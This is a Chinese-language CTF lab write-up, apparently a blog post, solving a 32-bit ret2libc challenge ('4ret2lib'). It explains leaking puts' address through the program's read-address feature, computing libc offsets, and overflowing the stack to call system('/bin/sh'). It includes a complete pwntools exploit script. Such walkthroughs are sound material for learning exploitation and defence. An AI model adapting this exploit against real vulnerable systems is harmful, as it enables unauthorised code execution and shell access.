lab 4

check一下,发现开了NX


image.png

拖进ida,没有system和binsh


image.png

image.png

可以看到第一个输入,是输入一个10进制的地址,然后返回这个地址的内容给你,这就很容易想到,利用这个功能去把puts函数的真实地址打印出来,将把got表中的内容输出,有了puts函数的真实地址,然后在求出libc中各个函数的地址,算一下偏移量,就很容易得到system函数的真实地址,然后求出“/bin/sh”的地址,这样我们就可以拿到shell了
image.png
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./4ret2lib')
elf = ELF('./4ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
print str(puts_got) 
image.png

脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./4ret2lib')
elf = ELF('./4ret2lib')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
print str(puts_got)  
p.sendline(str(puts_got))
p.recvuntil(": ")
puts_addr = int(p.recv(10),16)
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']
binsh_libc = libc.search('/bin/sh').next() 
offset = puts_addr - puts_libc  
system_addr = offset + system_libc
binsh_addr = offset + binsh_libc
payload = "A" * 60
payload += p32(system_addr) + 'b'*4 + p32(binsh_addr)
p.sendline(payload)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容